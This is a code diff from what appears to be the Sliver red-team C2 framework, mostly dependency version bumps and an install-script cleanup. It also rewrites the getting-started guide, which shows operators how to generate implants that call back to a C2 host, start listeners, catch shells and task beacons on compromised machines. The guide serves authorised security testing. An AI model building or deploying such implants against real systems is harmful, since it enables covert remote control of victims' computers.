+      jekyll-commonmark (~> 1.4.0)
       rouge (>= 2.0, < 4.0)
     jekyll-default-layout (0.1.4)
       jekyll (~> 3.0)
@@ -136,6 +142,8 @@ GEM
     jekyll-github-metadata (2.13.0)
       jekyll (>= 3.4, < 5.0)
       octokit (~> 4.0, != 4.4.0)
+    jekyll-include-cache (0.2.1)
+      jekyll (>= 3.7, < 5.0)
     jekyll-mentions (1.6.0)
       html-pipeline (~> 2.3)
       jekyll (>= 3.7, < 5.0)
@@ -155,50 +163,50 @@ GEM
       rubyzip (>= 1.3.0, < 3.0)
     jekyll-sass-converter (1.5.2)
       sass (~> 3.4)
-    jekyll-seo-tag (2.7.1)
+    jekyll-seo-tag (2.8.0)
       jekyll (>= 3.8, < 5.0)
     jekyll-sitemap (1.4.0)
       jekyll (>= 3.7, < 5.0)
     jekyll-swiss (1.0.0)
-    jekyll-theme-architect (0.1.1)
-      jekyll (~> 3.5)
-      jekyll-seo-tag (~> 2.0)
-    jekyll-theme-cayman (0.1.1)
-      jekyll (~> 3.5)
-      jekyll-seo-tag (~> 2.0)
-    jekyll-theme-dinky (0.1.1)
-      jekyll (~> 3.5)
-      jekyll-seo-tag (~> 2.0)
-    jekyll-theme-hacker (0.1.2)
+    jekyll-theme-architect (0.2.0)
       jekyll (> 3.5, < 5.0)
       jekyll-seo-tag (~> 2.0)
-    jekyll-theme-leap-day (0.1.1)
-      jekyll (~> 3.5)
+    jekyll-theme-cayman (0.2.0)
+      jekyll (> 3.5, < 5.0)
       jekyll-seo-tag (~> 2.0)
-    jekyll-theme-merlot (0.1.1)
-      jekyll (~> 3.5)
+    jekyll-theme-dinky (0.2.0)
+      jekyll (> 3.5, < 5.0)
       jekyll-seo-tag (~> 2.0)
-    jekyll-theme-midnight (0.1.1)
-      jekyll (~> 3.5)
+    jekyll-theme-hacker (0.2.0)
+      jekyll (> 3.5, < 5.0)
       jekyll-seo-tag (~> 2.0)
-    jekyll-theme-minimal (0.1.1)
-      jekyll (~> 3.5)
+    jekyll-theme-leap-day (0.2.0)
+      jekyll (> 3.5, < 5.0)
       jekyll-seo-tag (~> 2.0)
-    jekyll-theme-modernist (0.1.1)
-      jekyll (~> 3.5)
+    jekyll-theme-merlot (0.2.0)
+      jekyll (> 3.5, < 5.0)
       jekyll-seo-tag (~> 2.0)
-    jekyll-theme-primer (0.5.4)
+    jekyll-theme-midnight (0.2.0)
+      jekyll (> 3.5, < 5.0)
+      jekyll-seo-tag (~> 2.0)
+    jekyll-theme-minimal (0.2.0)
+      jekyll (> 3.5, < 5.0)
+      jekyll-seo-tag (~> 2.0)
+    jekyll-theme-modernist (0.2.0)
+      jekyll (> 3.5, < 5.0)
+      jekyll-seo-tag (~> 2.0)
+    jekyll-theme-primer (0.6.0)
       jekyll (> 3.5, < 5.0)
       jekyll-github-metadata (~> 2.9)
       jekyll-seo-tag (~> 2.0)
-    jekyll-theme-slate (0.1.1)
-      jekyll (~> 3.5)
+    jekyll-theme-slate (0.2.0)
+      jekyll (> 3.5, < 5.0)
       jekyll-seo-tag (~> 2.0)
-    jekyll-theme-tactile (0.1.1)
-      jekyll (~> 3.5)
+    jekyll-theme-tactile (0.2.0)
+      jekyll (> 3.5, < 5.0)
       jekyll-seo-tag (~> 2.0)
-    jekyll-theme-time-machine (0.1.1)
-      jekyll (~> 3.5)
+    jekyll-theme-time-machine (0.2.0)
+      jekyll (> 3.5, < 5.0)
       jekyll-seo-tag (~> 2.0)
     jekyll-titles-from-headings (0.5.3)
       jekyll (>= 3.3, < 5.0)
@@ -213,35 +221,33 @@ GEM
     kramdown-parser-gfm (1.1.0)
       kramdown (~> 2.0)
     liquid (4.0.3)
-    listen (3.5.1)
+    listen (3.7.1)
       rb-fsevent (~> 0.10, >= 0.10.3)
       rb-inotify (~> 0.9, >= 0.9.10)
     mercenary (0.3.6)
-    mini_portile2 (2.6.1)
+    mini_portile2 (2.8.0)
     minima (2.5.1)
       jekyll (>= 3.5, < 5.0)
       jekyll-feed (~> 0.9)
       jekyll-seo-tag (~> 2.1)
-    minitest (5.14.4)
+    minitest (5.15.0)
     multipart-post (2.1.1)
-    nokogiri (1.12.5)
-      mini_portile2 (~> 2.6.1)
+    nokogiri (1.13.3)
+      mini_portile2 (~> 2.8.0)
       racc (~> 1.4)
-    octokit (4.21.0)
+    octokit (4.22.0)
       faraday (>= 0.9)
       sawyer (~> 0.8.0, >= 0.5.3)
     pathutil (0.16.2)
       forwardable-extended (~> 2.6)
     public_suffix (4.0.6)
-    racc (1.5.2)
-    rb-fsevent (0.11.0)
+    racc (1.6.0)
+    rb-fsevent (0.11.1)
     rb-inotify (0.10.1)
       ffi (~> 1.0)
     rexml (3.2.5)
     rouge (3.26.0)
-    ruby-enum (0.9.0)
-      i18n
-    ruby2_keywords (0.0.4)
+    ruby2_keywords (0.0.5)
     rubyzip (2.3.2)
     safe_yaml (1.0.5)
     sass (3.7.4)
@@ -261,14 +267,14 @@ GEM
       ethon (>= 0.9.0)
     tzinfo (1.2.9)
       thread_safe (~> 0.1)
-    tzinfo-data (1.2021.1)
+    tzinfo-data (1.2021.5)
       tzinfo (>= 1.0.0)
     unf (0.1.4)
       unf_ext
-    unf_ext (0.0.7.7)
-    unicode-display_width (1.7.0)
+    unf_ext (0.0.8)
+    unicode-display_width (1.8.0)
     wdm (0.1.1)
-    zeitwerk (2.4.2)
+    zeitwerk (2.5.4)
 
 PLATFORMS
   ruby

docs/_posts/2021-07-07-getting-started.md

@@ -6,27 +6,28 @@ date:   2021-07-07 09:01:33 -0500
 categories: sliver
 ---
 
-# 1. Server Setup
-
-The first thing you'll need to do is setup a Sliver server.
-
-The server supports Linux, Windows, and MacOS however we recommend running the server on a Linux or MacOS host, as some features may be more difficult to get working on a Windows server. However, the Windows client should work just fine when accessing a Linux/MacOS server.
-
-Download the latest [release](https://github.com/BishopFox/sliver/releases) for your platform, and just run the binary. The first time you run the server it'll need to unpack some assets, which may take a minute or two, subsequent start ups should be faster.
-
-__NOTE:__ Sliver has two external dependencies for _optional_ features: MinGW and Metasploit. To enable shellcode/staged payloads you need to install MinGW. To enable MSF integrations you'll need Metasploit installed.
-
-The `Dockerfile` build of Sliver is mostly designed to run the unit tests but includes both MinGW and Metasploit. If you plan to run the server using Docker you'll need to forward the appropriate TCP ports (e.g. 80, 443, 31337) yourself.
 
 
-### MinGW Setup (Optional)
+__⚠️ NOTE:__ This guide is intended for experienced red teamers, but we also have a [Beginner's Guide](https://github.com/BishopFox/sliver/wiki/Beginner's-Guide) for a more beginner friendly tutorial.
+
+## Server Setup
+
+The first thing you'll need to do is setup a Sliver server, Sliver is designed for a one server deployment per-operation.
+
+The server supports Linux, Windows, and MacOS however we strongly recommend running the server on a Linux (or MacOS, well really anything that isn't Windows), as some features may be more difficult to get working on a Windows server. The Windows client should work just fine when accessing a Linux/MacOS server from Windows, if for some odd reason your operators want to actually use Windows you'll just need to setup [multiplayer mode](https://github.com/BishopFox/sliver/wiki/Multiplayer-Mode).
+
+Download the latest sever [release](https://github.com/BishopFox/sliver/releases) for your platform, and just run the binary. That's it, you're pretty much done.
+
+__IMPORTANT:__ Sliver has two external dependancies for _optional_ features: MinGW and Metasploit. To enable DLL payloads you need to install MinGW. To enable some MSF integrations you'll need Metasploit installed on the server.
+
+### MinGW Setup (Optional, Recommended)
 
 In order to enable shellcode/staged/DLL payloads you'll need to install MinGW on the server (clients connecting to the server do not need it installed). By default Sliver will look in the usual places for MinGW binaries but you can override this using the [environment variables](https://github.com/BishopFox/sliver/wiki/Environment-Variables).
 
-#### Linux
+#### Linux (Debian-based)
 
 ```
-apt-get install mingw-w64 binutils-mingw-w64 g++-mingw-w64
+apt install mingw-w64
 ```
 
 #### MacOS
@@ -35,39 +36,65 @@ apt-get install mingw-w64 binutils-mingw-w64 g++-mingw-w64
 brew install mingw-w64
 ```
 
-__Note:__ On MacOS you'll likely have to configure [environment variables](https://github.com/BishopFox/sliver/wiki/Environment-Variables) for MinGW.
+__Note:__ On MacOS may have to configure [environment variables](https://github.com/BishopFox/sliver/wiki/Environment-Variables) for MinGW.
 
 ### Metasploit Setup (Optional)
 
-We strongly recommend using the [nightly framework installers](https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers), Sliver expects version 5 or later.
+We strongly recommend using the [nightly framework installers](https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers), Sliver expects MSF version 5+.
+
+## Implants Beacon vs. Session
+
+Sliver is generally designed as a stage 2 payload, and as such we've not yet endeavored to minimize the implant's file size. Depending on how many protocols you enable in your implant the file can get large, we strongly advise the use of [stagers](https://github.com/BishopFox/sliver/wiki/Stagers) for actual operations. Such is the tradeoff for getting easy static compilation in Golang.
+
+Sliver implants in v1.5 and later support two modes of operation: "beacon mode" and "session mode." Beacon mode implements an asynchronous communication style where the implant periodically checks in with the server retrieves tasks, executes them, and returns the results. In "session mode" the implant will create an interactive real time session using either a persistent connection or using long polling depending on the underlying C2 protocol. 
+
+Beacons may be tasked to open interactive sessions over _any C2 protocol they were compiled with_ using the `interactive` command, i.e., if a beacon implant was not compiled with HTTP C2 it cannot open a session over HTTP (use the `close` command to close the session). Currently implants initially compiled for session mode cannot be converted to beacon mode (we may add this feature later). Take this into account during operational planning.
+
+Some commands such as `shell` and `portfwd` only work over interactive sessions.
 
 ## Generating Implants
 
+__IMPORTANT:__ The first time you generate an implant the server needs to download some Go module code, so the server must have internet access. See [offline implant builds](https://github.com/BishopFox/sliver/wiki/Offline-Implant-Builds) if this is a problem for you. The modules are cached.
+
 Generating implants is done using the `generate` command, you must specify at least one C2 endpoint using `--mtls`, `--wg`, `--http`, or `--dns`. Note that when an implant attempts to connect to an endpoint specified using `--http` it will try both HTTPS and then HTTP (if HTTPS fails). We recommend using mTLS (`--mtls`) or WireGuard (`--wg`) whenever possible. You can also specify an output directory with `--save`, by default the implant will be saved to the current working directory.
 
+#### Session Mode
+
 ```
-sliver > generate --mtls example.com --save /Users/moloch/Desktop
+[server] sliver > generate --mtls example.com --save /Users/moloch/Desktop
 
 [*] Generating new windows/amd64 Sliver binary
-[*] Build completed in 00:10:16
+[*] Build completed in 00:00:16
 [*] Sliver binary saved to: /Users/moloch/Desktop/NEW_GRAPE.exe
 ```
 
-Sliver implants are cross-platform, you can change the compiler target with the `--os` flag. Sliver accepts any Golang GOOS and GOARCH as arguments `--os` and `--arch`, we officially only support Windows, MacOS, and Linux, but you can at least attempt to compile for any other [valid Golang GOOS/GOARCH](https://gist.github.com/asukakenji/f15ba7e588ac42795f421b48b8aede63) combination. WARNING: Some commands/features may not work on "unsupported" platforms.
+#### Beacon Mode
 
 ```
-sliver > generate --mtls example.com --save /Users/moloch/Desktop --skip-symbols --os mac
+[server] sliver > generate beacon --mtls example.com --save /Users/moloch/Desktop
+
+[*] Generating new windows/amd64 beacon implant binary (1m0s)
+[*] Symbol obfuscation is enabled
+[*] Build completed in 00:00:27
+[*] Implant saved to /Users/moloch/Desktop/FINE_SENTENCE.exe
+```
+
+Sliver implants are cross-platform, you can change the compiler target with the `--os` flag. Sliver accepts any Golang GOOS and GOARCH as arguments `--os` and `--arch`, we officially only support Windows, MacOS, and Linux, but you can at least attempt to compile for any other [valid Golang GOOS/GOARCH](https://gist.github.com/asukakenji/f15ba7e588ac42795f421b48b8aede63) combination. The `generate info` command will also estimate what compiler targets can be used based on the server's host operating system and available cross-compilers.
+
+Some commands/features may not work on "unsupported" platforms.
+
+```
+sliver > generate --mtls example.com --save /Users/moloch/Desktop --os mac
 
 [*] Generating new darwin/amd64 Sliver binary
-[!] Symbol obfuscation is disabled
-[*] Build completed in 00:00:03
+[*] Build completed in 00:00:09
 [*] Sliver binary saved to: /Users/moloch/Desktop/PROPER_ANTHONY
 ```
 
-The server will also assign codenames to each generated binary i.e. `NEW_GRAPE.exe` you can rename the file to anything you need to, but these codenames will still uniquely identify the generated binary (they're inserted at compile-time). You can also view all previously generated implant binaries with the `slivers` command:
+The server will also assign code names to each generated binary i.e. `NEW_GRAPE.exe` you can rename the file to anything you need to, but these code names will still uniquely identify the generated binary (they're inserted at compile-time). You can also view all previously generated implant binaries with the `implants` command:
 
 ```
-sliver > slivers
+sliver > implants
 
 Name                    OS/Arch        Debug  Format
 ====                    =======        =====  ======
@@ -83,7 +110,7 @@ SICK_SPY                darwin/amd64   false  EXECUTABLE
 If you need to re-download a previously generated implant use the `regenerate` command, note that positional arguments (the implant name) comes after the command flags (e.g., `--save`):
 
 ```
-sliver > regenerate --save /Users/moloch/Desktop/ NEW_GRAPE
+sliver > regenerate --save /Users/moloch/Desktop NEW_GRAPE
 
 [*] Sliver binary saved to: /Users/moloch/Desktop/NEW_GRAPE.exe
 ```
@@ -96,7 +123,7 @@ For addition details about each C2 please see:
 
 ## Getting Shells
 
-Before you can catch the shell, you'll first need to start a listener. You use the commands `mtls`, `http`, `https`, and `dns` to start listeners for each protocol (remember endpoints specified with `--http` can connect to a listener started with `https`). You can use the `jobs` command to view and manage listeners running in the background.
+Before you can catch the shell, you'll first need to start a listener. You use the commands `mtls`, `http`, `https`, and `dns` to start listeners for each protocol (remember endpoints specified with `--http` can connect to a `https` listener). You can use the `jobs` command to view and manage listeners running in the background. Listeners support both sessions and beacons callbacks:
 
 ```
 sliver > mtls
@@ -113,26 +140,101 @@ ID  Name  Protocol  Port
 
 In this example we're using Mutual TLS, the required certificates for setting up and securing this connection have already been generated in the background and the client certificate pair was embedded into the implant at compile-time. So to get a shell you just have to run the binary on the target.
 
+### Interacting with Sessions
+
+The `use` command will tab-complete session and beacon identifiers, but you can also type them out if you really want to (identifier prefixes are accepted). Additionally, running the `use` command with no arguments will enter an interactive menu to select from.
+
 ```
-[*] Session #1 PROPER_ANTHONY - 127.0.0.1:49929 (narvi.local) - darwin/amd64
+[*] Session 8ff2ce4c LONG_DRAMATURGE - [::1]:57154 (MacBook-Pro-6.local) - darwin/amd64 - Thu, 20 Jan 2022 15:45:10 CST
 
-sliver > use 1
+sliver > use 8ff2ce4c
 
-[*] Active sliver PROPER_ANTHONY (1)
+[*] Active session LONG_DRAMATURGE (8ff2ce4c-9c66-4cbc-b33c-2a56196536e6)
 
-sliver (PROPER_ANTHONY) > ls
+sliver (LONG_DRAMATURGE) > ls
 
 /Users/moloch/Desktop
 =====================
 .DS_Store                 6.0 KiB
 .localized                0 B
-PROPER_ANTHONY            6.3 MiB
+LONG_DRAMATURGE           6.3 MiB
 ```
 
+If you're having problems getting callbacks please see our [troubleshooting guide](https://github.com/BishopFox/sliver/wiki/Troubleshooting#implant-troubleshooting), (TL;DR add the `--debug` flag when generating an implant).
+
+### Interacting with Beacons
+
+Upon initial execution the beacon will register itself with the C2 server and will show up under `beacons`, each instance of a beacon process will get its own id and this id is used for the lifetime of that process (i.e., across key renegotiation, etc). The "Next Check-in" value includes any random jitter (by default up to 30s), and you can also watch your beacons in real time using the `beacons watch` command. Remember to leverage tab complete for the uuid when using `use`:
+
+```
+[*] Beacon 8c465643 RELATIVE_ADVERTISEMENT - 192.168.1.178:54701 (WIN-1TT1Q345B37) - windows/amd64 - Sat, 22 Jan 2022 14:40:55 CST
+
+[server] sliver > beacons
+
+ ID         Name                     Tasks   Transport   Remote Address        Hostname          Username                        Operating System   Last Check-In    Next Check-In 
+========== ======================== ======= =========== ===================== ================= =============================== ================== ================ ===============
+ 8c465643   RELATIVE_ADVERTISEMENT   0/0     mtls        192.168.1.178:54701   WIN-1TT1Q345B37   WIN-1TT1Q345B37\Administrator   windows/amd64      49.385459s ago   37.614549s 
+
+[server] sliver > use 8c465643-0e65-45f2-bb7e-acb3480de3cb
+
+[*] Active beacon RELATIVE_ADVERTISEMENT (8c465643-0e65-45f2-bb7e-acb3480de3cb)
+
+[server] sliver (RELATIVE_ADVERTISEMENT) >
+```
+
+You should see a blue prompt indicating that we're interacting with a beacon as apposed to a session (red). Commands are executed the same way as a session, though not all commands are supported in beacon mode.
+
+```
+[server] sliver (RELATIVE_ADVERTISEMENT) > ls
+
+[*] Tasked beacon RELATIVE_ADVERTISEMENT (962978a6)
+
+[+] RELATIVE_ADVERTISEMENT completed task 962978a6
+
+C:\git
+======
+drwxrwxrwx  a                           <dir>     Wed Dec 22 15:34:56 -0600 2021
+...
+```
+
+Tasks will execute in the order they were created (FIFO). 
+
+__⚠️ IMPORTANT:__ Tasks results will block until all tasks that were part of the same "check-in" have completed. If you have one short running and one long running tasks that are executed as part of the same check-in the short task results will wait for the results of the long running task. Consider executing long running tasks on their own interval. This includes tasks assigned by multiple operators, as the implant is not "aware" of the multiple operators.
+
+You can view previous tasks executed by the active beacon using the `tasks` command:
+
+```
+[server] sliver (RELATIVE_ADVERTISEMENT) > tasks 
+
+ ID         State       Message Type   Created                         Sent                            Completed                     
+========== =========== ============== =============================== =============================== ===============================
+ 90294ad2   completed   Ls             Sat, 22 Jan 2022 14:45:00 CST   Sat, 22 Jan 2022 14:45:11 CST   Sat, 22 Jan 2022 14:45:11 CST 
+ 962978a6   completed   Ls             Sat, 22 Jan 2022 14:42:43 CST   Sat, 22 Jan 2022 14:43:53 CST   Sat, 22 Jan 2022 14:43:53 CST 
+```
+
+You can get the old output from the task using `tasks fetch` and selecting the task you want to see the output from. Note that in this case these task output is stored on the server, so operators in multiplayer mode can fetch output from tasks issued by other operators. However, operators will only see the automatic results from tasks that they executed. You can disable the automatic display of task results using the `settings` command.
+
+#### Switching from Beacon Mode to Session Mode
+
+You can use the `interactive` command to task a beacon to open an interactive session, with no arguments the current C2 channel will be used:
+
+```
+[server] sliver (RELATIVE_ADVERTISEMENT) > interactive 
+
+[*] Using beacon's active C2 endpoint: mtls://192.168.1.150:8888
+[*] Tasked beacon RELATIVE_ADVERTISEMENT (3920e899)
+
+[*] Session 223fac7e RELATIVE_ADVERTISEMENT - 192.168.1.178:54733 (WIN-1TT1Q345B37) - windows/amd64 - Sat, 22 Jan 2022 14:55:24 CST
+```
+
+__⚠️ IMPORTANT:__ You can only open interactive sessions over C2 protocols that were compiled into the binary. For example, if you did not initially compile an implant with `--http` you won't be able to open an interactive session over HTTP. However, you can specify alternative _endpoints_ (such as a redirector on another domain) using the `interactive` command's flags.
+
+When you're done using the interactive session use the `close` command to close the interactive session without killing the implant; the beacon will still perform check-ins while an interactive session is open.
+
 
 ## Multiple Domains/Protocols
 
-You can specify multiple domains and protocols during the generation process. Right now Sliver will attempt to use the most performant protocols first (MTLS -> HTTP(S) -> DNS) using subsequent domains/protocols when connections fail.
+You can specify multiple domains and protocols during the generation process. Right now Sliver will attempt to use the most performant protocols first (MTLS -> WG -> HTTP(S) -> DNS) using subsequent domains/protocols when connections fail.
 
 ```
 sliver > generate --mtls example.com --http foobar.com --dns 1.lil-peep.rip
@@ -140,4 +242,13 @@ sliver > generate --mtls example.com --http foobar.com --dns 1.lil-peep.rip
 
 Eventually we'll add a feature to manually specify the fallback protocols, or you can add this feature and send up a PR :).
 
+## What Next?
 
+Most commands have a `--help` and support tab complete, you may also find the following wiki articles of interest:
+
+* [Armory](https://github.com/BishopFox/sliver/wiki/Armory)
+* [Stagers](https://github.com/BishopFox/sliver/wiki/Stagers)
+* [Port Forwarding](https://github.com/BishopFox/sliver/wiki/Port-Forwarding)
+* [Reverse SOCKS](https://github.com/BishopFox/sliver/wiki/Reverse-SOCKS)
+* [BOF/COFF Support](https://github.com/BishopFox/sliver/wiki/BOF-&-COFF-Support)
+  

docs/install

@@ -10,13 +10,13 @@ fi
 
 if [ -n "$(command -v yum)" ]
 then
-    yum -y install zip unzip gnupg curl gcc gcc-c++ make mingw64-gcc
+    yum -y install gnupg curl gcc gcc-c++ make mingw64-gcc
 fi
 
 if [ -n "$(command -v apt-get)" ]
 then
     DEBIAN_FRONTEND=noninteractive apt-get install -yqq \
-        zip unzip gpg curl build-essential \
+        gpg curl build-essential \
         mingw-w64 binutils-mingw-w64 g++-mingw-w64
 fi
 
@@ -32,12 +32,6 @@ then
     echo "awk could not be found"
     exit 1
 fi
-# Zip
-if ! command -v zip &> /dev/null
-then
-    echo "zip could not be found"
-    exit 1
-fi
 # GPG
 if ! command -v gpg &> /dev/null
 then
@@ -106,49 +100,34 @@ EOF
 # Download and Unpack Sliver Server
 #
 ARTIFACTS=$(curl -s "https://api.github.com/repos/BishopFox/sliver/releases/latest" | awk -F '"' '/browser_download_url/{print $4}')
-SLIVER_SERVER_ZIP='sliver-server_linux.zip'
-SLIVER_CLIENT_ZIP='sliver-client_linux.zip'
-SLIVER_SERVER='sliver-server'
-SLIVER_CLIENT='sliver-client'
+SLIVER_SERVER='sliver-server_linux'
+SLIVER_CLIENT='sliver-client_linux'
 
 
 for URL in $ARTIFACTS
 do
-    if [[ "$URL" == *"$SLIVER_SERVER_ZIP"* ]]; then
+    if [[ "$URL" == *"$SLIVER_SERVER"* ]]; then
         echo "Downloading $URL"
         curl --silent -L $URL --output $(basename $URL)
     fi
-    if [[ "$URL" == *"$SLIVER_CLIENT_ZIP"* ]]; then
+    if [[ "$URL" == *"$SLIVER_CLIENT"* ]]; then
         echo "Downloading $URL"
         curl --silent -L $URL --output $(basename $URL)
     fi
 done
 
 echo "Verifying signatures ..."
-gpg --default-key $SLIVER_GPG_KEY_ID --verify /root/$SLIVER_SERVER_ZIP.sig /root/$SLIVER_SERVER_ZIP
-gpg --default-key $SLIVER_GPG_KEY_ID --verify /root/$SLIVER_CLIENT_ZIP.sig /root/$SLIVER_CLIENT_ZIP
-
-if test -f "/root/$SLIVER_SERVER_ZIP"; then
-    unzip -o /root/$SLIVER_SERVER_ZIP -d /root
-    rm -f /root/$SLIVER_SERVER_ZIP
-else 
-    exit 2
-fi
+gpg --default-key $SLIVER_GPG_KEY_ID --verify /root/$SLIVER_SERVER.sig /root/$SLIVER_SERVER
+gpg --default-key $SLIVER_GPG_KEY_ID --verify /root/$SLIVER_CLIENT.sig /root/$SLIVER_CLIENT
 
 if test -f "/root/$SLIVER_SERVER"; then
-    chmod 755 /root/$SLIVER_SERVER
-    /root/$SLIVER_SERVER unpack --force
+    mv /root/$SLIVER_SERVER /root/sliver-server
+    chmod 755 /root/sliver-server
+    /root/sliver-server unpack --force
 else
     exit 3
 fi
 
-if test -f "/root/$SLIVER_CLIENT_ZIP"; then
-    unzip -o /root/$SLIVER_CLIENT_ZIP -d /root
-    rm -f /root/$SLIVER_CLIENT_ZIP
-else 
-    exit 2
-fi
-
 if test -f "/root/$SLIVER_CLIENT"; then
     chmod 755 /root/$SLIVER_CLIENT 
     cp -vv /root/$SLIVER_CLIENT /usr/local/bin/sliver

go-assets.sh

@@ -20,8 +20,8 @@ set -e
 
 # Creates the static go asset archives
 
-GO_VER="1.17.6"
-GARBLE_VER="1.17.5"
+GO_VER="1.18"
+GARBLE_VER="1.18.0"
 
 GO_ARCH_1="amd64"
 GO_ARCH_2="arm64"

go.mod

@@ -2,9 +2,6 @@ module github.com/bishopfox/sliver
 
 go 1.17
 
-// fix wgctrl requiring old wireguard
-replace golang.zx2c4.com/wireguard => golang.zx2c4.com/wireguard v0.0.0-20210311162910-5f0c8b942d93
-
 replace github.com/desertbit/grumble v1.1.1 => github.com/moloch--/grumble v1.1.4
 
 require (
@@ -14,7 +11,7 @@ require (
 	github.com/Binject/go-donut v0.0.0-20210701074227-67a31e2d883e
 	github.com/Binject/universal v0.0.0-20210304094126-daefaa886313
 	github.com/BurntSushi/xgb v0.0.0-20201008132610-5f9e7b3c49cd // indirect
-	github.com/Microsoft/go-winio v0.4.16 // indirect
+	github.com/Microsoft/go-winio v0.5.1 // indirect
 	github.com/alecthomas/chroma v0.8.1
 	github.com/cheggaaa/pb/v3 v3.0.5
 	github.com/desertbit/columnize v2.1.0+incompatible
@@ -34,38 +31,38 @@ require (
 	github.com/lesnuages/snitch v0.6.0
 	github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
 	github.com/mattn/go-isatty v0.0.13 // indirect
-	github.com/mattn/go-sqlite3 v1.14.9
+	github.com/mattn/go-sqlite3 v1.14.12
 	github.com/miekg/dns v1.1.35
 	github.com/niemeyer/pretty v0.0.0-20200227124842-a10e7caefd8e // indirect
 	github.com/pquerna/otp v1.3.0
 	github.com/sergi/go-diff v1.1.0 // indirect
-	github.com/sirupsen/logrus v1.7.0
+	github.com/sirupsen/logrus v1.8.1
 	github.com/spf13/cobra v1.1.1
 	github.com/stretchr/testify v1.7.0
-	golang.org/x/crypto v0.0.0-20210616213533-5ff15b29337e
-	golang.org/x/net v0.0.0-20210614182718-04defd469f4e
-	golang.org/x/sys v0.0.0-20211117180635-dee7805ff2e1
-	golang.org/x/text v0.3.6
-	golang.zx2c4.com/wireguard v0.0.20200121
-	golang.zx2c4.com/wireguard/wgctrl v0.0.0-20200609130330-bd2cb7843e1b
-	google.golang.org/genproto v0.0.0-20210406143921-e86de6bf7a46 // indirect
-	google.golang.org/grpc v1.37.0
-	google.golang.org/protobuf v1.26.0
+	golang.org/x/crypto v0.0.0-20220315160706-3147a52a75dd
+	golang.org/x/net v0.0.0-20220225172249-27dd8689420f
+	golang.org/x/sys v0.0.0-20220315194320-039c03cc5b86
+	golang.org/x/text v0.3.7
+	golang.zx2c4.com/wireguard v0.0.0-20220316235147-5aff28b14c24
+	google.golang.org/genproto v0.0.0-20210722135532-667f2b7c528f // indirect
+	google.golang.org/grpc v1.42.0-dev.0.20211020220737-f00baa6c3c84
+	google.golang.org/protobuf v1.27.1
 	gopkg.in/AlecAivazis/survey.v1 v1.8.8
 	gopkg.in/check.v1 v1.0.0-20200902074654-038fdea0a05b // indirect
 	gorm.io/driver/mysql v1.0.3
 	gorm.io/driver/postgres v1.0.5
 	gorm.io/driver/sqlite v1.1.3
 	gorm.io/gorm v1.21.14
-	inet.af/netstack v0.0.0-20210317161235-a1bf4e56ef22
 )
 
 require (
 	github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945
 	github.com/shirou/gopsutil/v3 v3.21.10
 	github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
-	golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1
-	modernc.org/sqlite v1.14.3
+	golang.org/x/term v0.0.0-20210927222741-03fcf44c2211
+	golang.zx2c4.com/wireguard/wgctrl v0.0.0-20220208144051-fde48d68ee68
+	gvisor.dev/gvisor v0.0.0-20211020211948-f76a604701b6
+	modernc.org/sqlite v1.16.0
 )
 
 require (
@@ -106,19 +103,19 @@ require (
 	github.com/remyoudompheng/bigfft v0.0.0-20200410134404-eec4a21b6bb0 // indirect
 	github.com/spf13/pflag v1.0.5 // indirect
 	github.com/thedevsaddam/gojsonq/v2 v2.5.2 // indirect
-	golang.org/x/mod v0.3.0 // indirect
-	golang.org/x/oauth2 v0.0.0-20200107190931-bf48bf16ab8d // indirect
+	golang.org/x/mod v0.5.1 // indirect
 	golang.org/x/time v0.0.0-20210220033141-f8bda1e9f3ba // indirect
-	golang.org/x/tools v0.1.0 // indirect
+	golang.org/x/tools v0.1.9 // indirect
 	golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 // indirect
+	golang.zx2c4.com/wintun v0.0.0-20211104114900-415007cec224 // indirect
 	google.golang.org/grpc/examples v0.0.0-20210910232509-03268c8ed29e // indirect
 	gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c // indirect
 	lukechampine.com/uint128 v1.1.1 // indirect
-	modernc.org/cc/v3 v3.35.18 // indirect
-	modernc.org/ccgo/v3 v3.12.95 // indirect
-	modernc.org/libc v1.11.104 // indirect
+	modernc.org/cc/v3 v3.35.24 // indirect
+	modernc.org/ccgo/v3 v3.15.18 // indirect
+	modernc.org/libc v1.14.12 // indirect
 	modernc.org/mathutil v1.4.1 // indirect
-	modernc.org/memory v1.0.5 // indirect
+	modernc.org/memory v1.0.7 // indirect
 	modernc.org/opt v0.1.1 // indirect
 	modernc.org/strutil v1.1.1 // indirect
 	modernc.org/token v1.0.0 // indirect

implant/go-mod

@@ -1,24 +1,24 @@
 module github.com/bishopfox/sliver
 
-go 1.16
+go 1.17
 
 require (
-	github.com/Binject/universal v0.0.0-20210304094126-daefaa886313
-	github.com/BurntSushi/xgb v0.0.0-20210121224620-deaf085860bc // indirect
-	github.com/Microsoft/go-winio v0.5.0 // indirect
-	github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect
-	github.com/gofrs/uuid v4.0.0+incompatible
-	github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f
-	github.com/lesnuages/go-winio v0.4.19
-	github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
-	github.com/pquerna/otp v1.3.0
-	github.com/stretchr/testify v1.7.0
-	golang.org/x/crypto v0.0.0-20210616213533-5ff15b29337e
-	golang.org/x/net v0.0.0-20210405180319-a5a99cb37ef4
-	golang.org/x/sys v0.0.0-20210616094352-59db8d763f22
-	golang.zx2c4.com/wireguard v0.0.0-20210311162910-5f0c8b942d93
-	golang.zx2c4.com/wireguard/windows v0.5.1
-	google.golang.org/protobuf v1.23.0
-	inet.af/netstack v0.0.0-20210317161235-a1bf4e56ef22
-	github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
+github.com/Binject/universal v0.0.0-20210304094126-daefaa886313
+github.com/BurntSushi/xgb v0.0.0-20210121224620-deaf085860bc // indirect
+github.com/Microsoft/go-winio v0.5.0 // indirect
+github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect
+github.com/gofrs/uuid v4.0.0+incompatible
+github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f
+github.com/lesnuages/go-winio v0.4.19
+github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
+github.com/pquerna/otp v1.3.0
+github.com/stretchr/testify v1.7.0
